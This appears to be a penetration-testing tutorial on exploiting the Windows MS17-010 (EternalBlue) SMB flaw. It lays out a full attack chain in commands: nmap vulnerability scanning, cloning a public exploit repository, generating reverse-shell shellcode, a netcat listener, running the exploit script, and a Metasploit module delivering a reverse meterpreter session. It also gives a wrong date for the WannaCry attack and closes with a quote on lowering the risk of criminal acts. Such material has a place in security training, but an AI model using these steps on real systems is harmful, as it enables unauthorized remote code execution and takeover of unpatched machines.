🧨Exploiting Windows MS17-010 SMB Vulnerability (EternalBlue)

MS17-010 EternalBlue Exploit

• EternalBlue (MS17-010/CVE-2017-0144) is the name given to a collection of Windows vulnerabilities and exploits that allow attackers to remotely execute arbitrary code and gain access to a Windows system and consequently the network that the target system is a part of.

• The EternalBlue exploit was developed by the NSA (National Security Agency) to take advantage of the MS17-010 vulnerability and was leaked to the public by a hacker group called the Shadow Brokers in 2017.

• The EternalBlue exploit takes advantage of a vulnerability in the Windows SMBv1 protocol that allows attackers to send specially crafted packets that consequently facilitate the execution of arbitrary commands.

• The EternalBlue exploit was used in the WannaCry ransomware attack on June 27, 2017 to exploit other Windows systems across networks with the objective of spreading the ransomware to as many systems as possible.

• This vulnerability affects multiple versions of Windows:

  • Windows Vista

  • Windows 7

  • Windows Server 2008

  • Windows 8.1

  • Windows Server 2012

  • Windows 10

  • Windows Server 2016

• Microsoft released a patch for the vulnerability in March, 2017, however, many users and companies have still not yet patched their systems.

• The EternalBlue exploit has a MSF auxiliary module that can be used to check if a target system if vulnerable to the exploit and also has an exploit module that can be used to exploit the vulnerability on unpatched systems.

• The EternalBlue exploit module can be used to exploit vulnerable Windows systems and consequently provide us with a privileged meterpreter session on the target system.

• In addition to MSF modules, we can also manually exploit the vulnerability by utilizing publicly available exploit code. </aside>

Attack Flow for the Windows MS17-010 SMB Vulnerability (EternalBlue)

1. Determine Vulnerability

Objective: Identify if the target system is vulnerable to Eternal Blue.

Command:

nmap -sV -O --script=smb-vuln-ms17-010 <Target_IP>

Description: Scan the target system to check for the MS17-010 vulnerability.

2. Clone the Exploit Repository

Objective: Download the necessary exploit code for MS17-010.

Command:

git clone https://github.com/3ndG4me/AutoBlue-MS17-010
cd AutoBlue-MS17-010

Description: Clone the AutoBlue-MS17-010 repository and navigate to its directory.

3. Install Prerequisites

Objective: Install the required dependencies for the exploit tool.

Command:

sudo pip install -r requirements.txt

Description: Use the provided requirements.txt file to install necessary Python packages.

4. Generate the Shell Payload

Objective: Create a reverse shell payload for exploitation.

Command:

cd shellcode
chmod +x shell_prep.sh
./shell_prep.sh

Description: Navigate to the shellcode folder, make shell_prep.sh executable, and run it to generate the shell payload using msfvenom.

Inside shell_prep.sh:

• Set LHOST and LPORT values.

• Generate a regular cmd shell.

• Choose to create a stageless payload.

5. Set Up NetCat Listener

Objective: Prepare to receive the reverse shell connection.

Command:

nc -nvlp <LPORT>

Description: Start a NetCat listener on the specified port to capture the reverse shell.

6. Execute the Exploit

Objective: Run the Eternal Blue exploit code to establish a reverse shell.

Command:

cd ..
chmod +x eternalblue_exploit7.py
python eternalblue_exploit7.py <Target_IP> shellcode/sc_x64

Description: Navigate back to the main repository folder, make the exploit script executable, and run it to exploit the target and establish a reverse shell connection.

7. Alternative Method Using Metasploit

Objective: Use Metasploit to exploit the MS17-010 vulnerability.

Command:

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOST <Target_IP>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <Your_IP>
set LPORT <Your_Port>
exploit

Description: Use the ms17_010_eternalblue module in Metasploit to exploit the target system and establish a Meterpreter session.

---

---

---

Hacker's Mantra:If hackers, if anyone committing a criminal act, wants to reduce their risk, they obviously don’t involve anybody else. The greater the circle of people that know what you’re doing, the higher the risk. - Kevin Mitnick